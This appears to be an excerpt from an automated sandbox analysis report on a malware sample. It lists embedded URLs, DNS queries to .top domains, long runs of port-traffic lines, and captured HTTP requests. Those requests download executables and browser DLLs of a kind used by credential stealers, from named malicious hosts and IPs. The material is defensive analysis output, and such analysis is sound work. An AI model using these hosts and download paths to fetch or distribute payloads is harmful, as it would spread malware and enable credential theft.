Source: B096.exe, 00000018.00000002.502019916.0000000002DA1000.00000004.00000001.sdmp, B096.exe.10.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903575517888925756/6D9E3C88.jpg
Source: B096.exe, 00000018.00000002.502019916.0000000002DA1000.00000004.00000001.sdmp, B096.exe.10.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903575519373697084/F83CB811.jpg
Source: FD36.exe.10.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903579324031074365/ECF88C37.jpg
Source: DEDC.exe.10.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903580013041967104/06ED9A1B.jpg
Source: DEDC.exe.10.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903580015046828032/039F9A54.jpg
Source: DEDC.exe.10.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903580017093660692/A303D181.jpg
Source: DEDC.exe.10.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/893177342426509335/903580019203387432/930B55FC.jpg
Source: C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json.34.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr	String found in binary or memory: https://content-autofill.googleapis.com
Source: Reporting and NEL.36.dr	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/IdentityListAccountsHttp/external
Source: f3f072f8-9740-417a-a88b-dfe93adcb8b1.tmp.36.dr, f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://dns.google
Source: C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://fonts.googleapis.com
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://fonts.gstatic.com
Source: craw_window.js.34.dr, craw_background.js.34.dr	String found in binary or memory: https://github.com/google/closure-library/wiki/goog.module:-an-ES6-module-like-alternative-to-goog.p
Source: Network Action Predictor.34.dr	String found in binary or memory: https://js.monitor.azure.com/
Source: Reporting and NEL.36.dr	String found in binary or memory: https://mdec.nelreports.net/api/report?cat=mdocs
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://ogs.google.com
Source: craw_window.js.34.dr, manifest.json.34.dr	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://play.google.com
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr	String found in binary or memory: https://r4---sn-4g5e6nss.gvt1.com
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr	String found in binary or memory: https://redirector.gvt1.com
Source: craw_window.js.34.dr, manifest.json.34.dr	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: CD17.exe.10.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://ssl.gstatic.com
Source: craw_window.js.34.dr, craw_background.js.34.dr	String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: D8D0.exe.10.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://www.google.com
Source: manifest.json.34.dr	String found in binary or memory: https://www.google.com/
Source: craw_window.js.34.dr	String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: C066.exe, 00000023.00000003.537936940.000000004DBE1000.00000004.00000010.sdmp, RYwTiizs2t.35.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: craw_window.js.34.dr	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: craw_window.js.34.dr	String found in binary or memory: https://www.google.com/images/dot2.gif
Source: craw_window.js.34.dr	String found in binary or memory: https://www.google.com/images/x2.gif
Source: craw_background.js.34.dr	String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, craw_window.js.34.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr, craw_background.js.34.dr	String found in binary or memory: https://www.googleapis.com
Source: manifest.json.34.dr	String found in binary or memory: https://www.googleapis.com/
Source: manifest.json.34.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: manifest.json.34.dr	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: manifest.json.34.dr	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: manifest.json.34.dr	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp.36.dr, f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp.36.dr	String found in binary or memory: https://www.gstatic.com

Source: unknown

DNS traffic detected: queries for: xacokuo8.top

Source: global traffic	HTTP traffic detected: GET /downloads/toolspab2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacytoolzforyou-6000.top
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: sysaheu90.top
Source: global traffic	HTTP traffic detected: GET /agrybirdsgamerept HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: text/plain; charset=UTF-8Host: toptelete.top
Source: global traffic	HTTP traffic detected: GET //l/f/SZ0UyXwB3dP17Spzhll9/cb2d375dd6e8a66a5a24666f2ccf0d937c972efe HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET /dl/buildz.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: znpst.top
Source: global traffic	HTTP traffic detected: GET //l/f/SZ0UyXwB3dP17Spzhll9/44498d94a24300ea08dae81ac5b8f477f8279a65 HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheHost: 194.180.174.181
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0Host: 65.108.80.190Connection: Keep-Alive

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50139
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50139 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49680
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49678
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:09:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 0d 0a 14 00 00 00 7b fa f1 1a b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 19{i+,GO0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:09:40 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c2 55 a1 b9 67 f4 25 45 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%EQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 12:09:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
